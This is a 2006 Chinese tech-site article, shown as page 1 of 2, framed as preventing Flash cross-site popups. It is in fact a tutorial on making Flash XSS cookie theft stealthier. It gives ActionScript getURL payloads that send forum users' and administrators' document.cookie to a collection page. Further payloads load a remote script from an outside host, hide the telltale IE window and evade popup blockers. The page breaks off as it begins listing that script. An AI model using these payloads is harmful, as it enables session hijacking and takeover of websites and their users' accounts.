注册通行证 用户名 密码
  • 文章投稿
  • 博客
  • 论坛
  • 设为首页
  • 加入收藏
jztop.com网络技术
  • 首页
  • | iT新闻
  • | 操作系统
  • | 组网建网
  • | 网络安全
  • | 程序开发
  • | 办公一族
  • | 工具软件
  • | 网页制作
  • | 多媒体制作
  • | 网吧技术
  • | 服务器
  • | 专题教程
Vista | 软件评测 | 系统备份 | 优化 | 进程 | 聊天 | 病毒 | Linux | 黑客 | 防火墙 | 数据库 | Web开发 | Java | Word | 游戏 | 32位开发 | 移动开发
当前位置:首页 > 工具软件 > 应用软件 > 网页浏览 内容正文:如何防止Flash跨站攻击弹出IE窗口

如何防止Flash跨站攻击弹出IE窗口

发布时间:2006-09-26 11:00:08 来源:不详 网友评论 0 条
前些天一直忙着学习WIN32汇编,一直懒得写文章,这些天来好像Flash跨站攻击闹的挺凶的,但在实施Flash跨站攻击时的那个弹出的IE窗口很容易引起别人的怀疑,而使得Flash跨站攻击失败,这的确让人多少有点头疼,大家是不是也一直在寻找实施Flash跨站攻击时不弹出IE窗口的方法来隐藏自己的攻击行为呢?下面大家和我一起来解决这个不大不小的问题,让Flash跨站攻击更完美吧!

    一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画,并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数,如下:

      getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie)","_self")

然后把这个Flash动画置于论坛中的签名、贴子或短信消息中,用来获得管理员或用户的Cookie,从而得到管理权限,进一步伺机控制整个站点,最终达到自己的目的。我们可以看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦!也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口,所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出的IE窗口,除此外别无它法!

    我们先分析一下上面的AtionScript脚本,它使用AtionScript脚本函数“getURL”跳转到一个使用JavaScript协议的URL(JavaScript协议后面就是我们非常熟悉的JavaScript脚本代码),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址,最后使用window.open打开合成的URL地址,从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。

    通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的,相信大家都知道window.open的第二个参数用来指定打开的窗口的名字,其通用名称有“_media (IE6.0  在浏览器左边的媒体面板内打开)”、“_blank (在新窗口中打开)”、“_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)”、“_search (IE5.0  在浏览器左边的搜索面板内打开)”、“_self(在当前窗口中打开,覆盖当前文档)”、“_top (在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )”等几种,如果我们以“_search”来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:

      getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie,'_search')","_self")

当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!姑且也算一种方法吧!

    如果仅仅是上面所说的,相信不少读者要把我。。。。。。

    看到这里聪明的你是不是想到了点解决的思路?对!既然支持JavaScript啦,还有啥东东会不能解决呢?JavaScript真的是好处多多呀!www.xker.com(小新技术网)

    如果你曾看了我的那篇“打造一个完美的IE网页木马”的文章,并且你对其中的代码深深理解的话,你可以自己先去想象一下啦!呵呵......

    在那篇文章中有下面这样一段代码:

jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(////g,'//');
window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");

使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中,相应的AtionScript脚本改为:

      getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:////www.godog.y365.com//wodemuma//icyfox.js';eval();","_self")

其中icyfox.js得内容如下:

cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(document.cookie);

 1/2    1 2 ›› ›|
相关文章
  • 保卫我的网络银行 如何防范网络黑手
  • 保卫我的网络银行 如何防范网络黑手
  • 防范教程:教你如何防止自己的IP泄漏
  • 技巧问答:WLM如何防范被广告账号添加
  • 达芬奇密码被病毒叮上 普通用户如何防范
【评论】【收藏本文】【打印】【关闭】
上一篇文章:解决IE窗口自动不停打开问题
下一篇文章:阻止我的IE强行弹出广告和色情网站窗口
讨论区
查看
已有 0 位对此新闻感兴趣的网友发表了看法
匿名发表
注册通行证 登陆
图文阅读推荐
新贴我先知 网页抓取工具WebClawer
新贴我先知 网页抓取工具WebClawer
情系汶川灾区 冲浪间歇用插件时刻关心余震
情系汶川灾区 冲浪间歇用插件时刻关心余震
傲游:上网浏览其实还可以更快些
傲游:上网浏览其实还可以更快些
强势出击,IE7.0正式版全面体验
强势出击,IE7.0正式版全面体验
推荐阅讯
  • IE编程简述之“两”个WebBrowser
  • 把ACDSee装到右键里 看图变得很简单
  • 巧用插件 让Firefox也用上Web迅雷
  • 用世界之窗浏览器世界从此清静多了
  • 路由器时差引起的奇怪状况
  • 细数FastStone取代ACDSee的六大法宝
  • Windows XP下卸载IE8的方法总结
  • Opera痴人说梦 你拿什么撼动微软IE7?
  • Google的秘密武器:Picasa试用报告
  • 修正IE5解释容器宽度的方法
阅读排行
  • 1.IE不显示FLASH动画
  • 2.华为路由器简单配置详解
  • 3.路由器的配置与调试
  • 4.Ipcop软路由制作教程
  • 5.下载:IE 7 免验证简体中文特别版
  • 6.家用SOHO路由器配置指南
  • 7.强势出击,IE7.0正式版全面体验
  • 8.如何用GOOGLE Picasa偷窥国外美女隐私
  • 9.ARP欺骗原理以及路由器的先天免疫
  • 10.思科路由器常用配置命令大全(1)
专题教程
  • 大话G游 专题:手机病毒揭密
  • ARP攻击防范与解决方案 路由故障处理手册
  • Picasa中文版_Picasa教程 专题:清除流氓软件
  • Firefox专题 seo搜索引擎优化专区
  • 重装Windows必知的事情 装机之必备软件大行动
病毒专杀栏
  • 杀毒软件反被病毒杀 连"救命"都不能喊
  • 金山ARP防火墙
  • 还原卡神话破灭“机器狗”病毒来势汹汹
  • cctv经济半小时:你的手机现在安全吗?
  • 新挂马方式开始流行 ARP挂马称雄局域网
  • 木马和病毒清除的通用解法
  • IP地址不再冲突 查找ARP攻击者元凶
  • 教你几招识别和防御Web网页木马
  • 分析:封杀BT只是暂时的止痛药
  • QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病
关于我们 | 诚聘英才 | 联系我们 | 版权声明 | 网站大事 | 网站地图 | 意见建议
CopyRight 2005-2007 Jztop.Com 版权所有 未经许可 请勿转载